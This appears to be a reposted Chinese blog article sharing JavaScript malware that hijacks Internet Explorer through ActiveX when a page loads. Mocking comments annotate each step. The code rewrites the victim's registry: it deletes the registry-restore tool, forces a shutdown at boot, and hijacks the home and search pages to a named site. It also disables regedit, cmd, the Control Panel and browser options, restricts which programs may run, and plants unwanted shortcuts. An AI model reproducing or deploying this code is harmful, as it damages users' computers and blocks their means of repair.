< language="java">
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
//建立加入收藏夾和鏈接的事件
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//建立事件結(jié)束

function f(){
try
{
//ActiveX initialization （初始化ACTIVEX，為修改瀏覽者的注冊(cè)表做準(zhǔn)備。）
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
//開始修改注冊(cè)表
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\deltree.exe","start.exe /m deltree /y c:\\\\windows\\\\Command\\\\Scanreg.exe /q /u /autorun");（開機(jī)時(shí)Scanreg.exe被無提示刪除！這樣瀏覽者就無法通過恢復(fù)瀏覽之前的注冊(cè)表來修復(fù)系統(tǒng)！）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\rundll.exe","rundll.exe user.exe,exitwindows");（開機(jī)就無提示關(guān)機(jī)！！）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page", "http://www.im286.com/wjkplx/");（你的主頁已經(jīng)被改了！！！）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Toolbar\\\\backbitmapie5","c:\\\\Windows\\\\web\\\\wvleft.bmp");（給IE換張圖片.雖然丑了一點(diǎn)點(diǎn).....）
Shl.RegWrite ("HKCR\\\\CLSID\\\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\\\", "team");（把我的電腦改名叫team！！）
Shl.RegWrite ("HKCU\\\\Software\\\\Classes\\\\CLSID\\\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\\\", "team");（還要確認(rèn)一遍啊！！安全第一！）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Window Title", "= 您的電腦目前正被別人控制");（這個(gè)IE標(biāo)題不錯(cuò)吧??）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Window Title", "= 您的電腦目前正被別人控制");（又確認(rèn)一次！！小心使得萬年船嘛.）
Shl.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\SearchPage","http://www.im286.com");（搜索頁改掉.安全第一安全第一）
Shl.RegWrite ("HKCR\\\\CLSID\\\\{645FF040-5081-101B-9F08-00AA002F954E}\\\\", "http://www.im286.com");（改掉回收站.反正你也沒有用.
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url1","http://www.im286.com");（向常用網(wǎng)址里加一個(gè).就加一個(gè)！！）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url2","http://www.im286.com/");(再加一個(gè).安全第一）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Default_Page_URL","http://www.im286.com");（缺省頁也改掉！！微軟反正你不會(huì)用.不如讓給我好了！！）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Local Page","http://www.im286.com");（本地頁！加上去!）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page","http://www.im286.com");（安全第一！確認(rèn)下先！！）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Search Page","http://www.im286.com");（加加加！！拉拉拉...）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Default_Search_URL","http://www.im286.com");（如果硬要給扁你加個(gè)極限！我希望是一萬拳！！）
Shl.RegWrite ("HKLM\\\\Software\\\\CLASSES\\\\CLSID\\\\{01E04581-4EEE-11d0-BFE9-00AA005B4383}\\\\InProcServer32\\\\","rem C:\\\\WINDOWS\\\\sys tem\\\\BROWSEUI.DLL");（你的IE沒有地址欄了.！）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoSetTaskBar", "1","REG_DWORD");（任務(wù)欄和開始菜單了不許你設(shè)置！！）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoFind","1","REG_DWORD");（查找不用也沒有關(guān)系嘛.）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoFolderOptions","1","REG_DWORD");（IE工具的INTERNET選項(xiàng)里面的東東是不能亂改地.不如讓team禁止了算了.）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoViewContextMenu","1","REG_DWORD");（鼠標(biāo)右鍵菜單沒有什么,那不用好了.我也幫你關(guān)了好了）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoRun","1","REG_DWORD");（反正運(yùn)行框用得也不多.關(guān)掉了OK?）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\WinOldApp\\\\Disablecmd","1","REG_DWORD");（DOS 老掉牙的東西不用也罷.）
Shl.RegWrite
("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\WinOldApp\\\\NoRealMode","1","REG_DWORD");（我都說了DOS沒有用拉.）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Winlogon\\\\LegalNoticeCaption", "問候");（開機(jī)即跳出對(duì)話框，問候你一下拉！）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Winlogon\\\\LegalNoticeText","朋友:非常感謝你訪問過我們的網(wǎng)站[url]http://team888.126.com[/url]");（開機(jī)提醒你一下拉.）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserContextMenu","1","REG_DWORD");（IE的右鍵菜單不要用嘛.右鍵有什么好的?）
Shl.RegWrite ("HKLM\\\\Software\\\\CLASSES\\\\.reg\\\\","txtfile");（REG文件不要亂動(dòng)哦.反正里面的東西不能動(dòng)不如不打開.）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\sys tem\\\\DisableRegistryTools","1","REG_DWORD");（禁止使用注冊(cè)表程序regedit.exe了！我都說了不能亂改嘛.不要用REGEDIT）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoSetFolders","1","REG_DWORD");（控制面板也禁用，）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserContextMenu","1","REG_DWORD");（又禁止IE的右鍵菜單一次。怕別人看我的源碼！保護(hù)知識(shí)產(chǎn)權(quán)嘛）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserOptions","1","REG_DWORD");（Internet選項(xiàng)被禁用了！里沒有沒有什么好改的.）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserSaveAs","1","REG_DWORD");（另存為也不讓！！”）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoFileOpen","1","REG_DWORD");（文件下面的打開沒有了！不好意思啊.一時(shí)失誤.）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoTheaterMode","1","REG_DWORD");（全屏模式對(duì)IE控制面板的控制）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Advanced","1","REG_DWORD");（禁止高級(jí)頁設(shè)置， ）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Cache Internet","1","REG_DWORD");（禁止更改臨時(shí)文件的設(shè)置）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\AutoConfig","1","REG_DWORD");（禁止更改自動(dòng)配置的設(shè)置，）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\HomePage","1","REG_DWORD");（禁止更改主頁設(shè)置!）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\History","1","REG_DWORD");（禁止更改歷史紀(jì)錄設(shè)置，）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Connwiz Ad Lock","1","REG_DWORD");（禁止Internet連接向?qū)?）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Check_If_Default","1","REG_DWORD");（禁止更改默認(rèn)瀏覽器檢查,免得你總是和騰訊爭！！）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\ContentTab","1","REG_DWORD");（禁止內(nèi)容項(xiàng)！！！）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\AboutURLs\\\\懶人居","HTTP://team888.126.com");（啊！！！又加一個(gè)！！安全第一.呵呵~~~）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\AboutURLs\\\\blank","HTTP://team888.126.com");（再加一個(gè)就OK了.）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\SecurityTab","1","REG_DWORD");（禁止安全項(xiàng)）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\ResetWebSettings","1","REG_DWORD");（禁止重置Web設(shè)置）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoViewSource","1","REG_DWORD");（禁止源文件，保護(hù)知識(shí)產(chǎn)權(quán)嘛）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Infodelivery\\\\Restrictions\\\\NoAddingSubions","1","REG_DWORD");（禁止添加脫機(jī)頁計(jì)劃）
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoFileMenu","1","REG_DWORD");（禁止資源管理器中的文件）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Settings","1","REG_DWORD");（禁止更改連接設(shè)置，）
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun","1","REG_DWORD");（禁止使用任何程序！不要急兄弟我還是要給你留幾個(gè)東東.）
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\Iexplore.exe","Iexplore.exe");（資源管理器！）
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\WINWORD.EXE","WINWORD.EXE");
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\EXCEL.EXE","EXCEL.EXE");（
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\WINZIP32.EXE","WINZIP32.EXE");
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\ACDSee32.exe","ACDSee32.exe");
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\photoshop.exe","photoshop.exe");
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\Notepad.exe","Notepad.exe");
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\Wordpad.exe","Wordpad.exe");
Shl.RegWrite
("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\rundll.exe","rundll.exe");（沒他就掛了！！！）
//注冊(cè)表修改完畢

//加入收藏的程序
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\\\Documents and Settings\\\\" + Net.UserName + "\\\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//設(shè)置完畢
//加入收藏
AddFavLnk(loc, "HTTP://www.im286.com");
//加完了
//桌面建立快捷圖標(biāo)程序
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\\\Desktop";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\\\Documents and Settings\\\\" + Net.UserName + "\\\\Desktop";
if(!FSO.FolderExists(loc))
{
return;
}
}
//設(shè)置完畢
//建立圖標(biāo)
AddFavLnk(loc, "http://www.im286.com");
//桌面建立快捷圖標(biāo)結(jié)束，關(guān)閉IE的時(shí)候莫名其妙看見自己的桌面上多了一個(gè)自己并不想要的東西是什么感覺？
}
catch(e)
{}
}
catch(e)
{}
}

function init()
{
setTimeout("f()", 1000);
}
init();
</>
:ohh: 各位im286兄弟們不可干壞事兒啊`寫了這么多，給點(diǎn)兒掌聲把。

總結(jié)

以上是生活随笔為你收集整理的常用破坏ie的源码的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。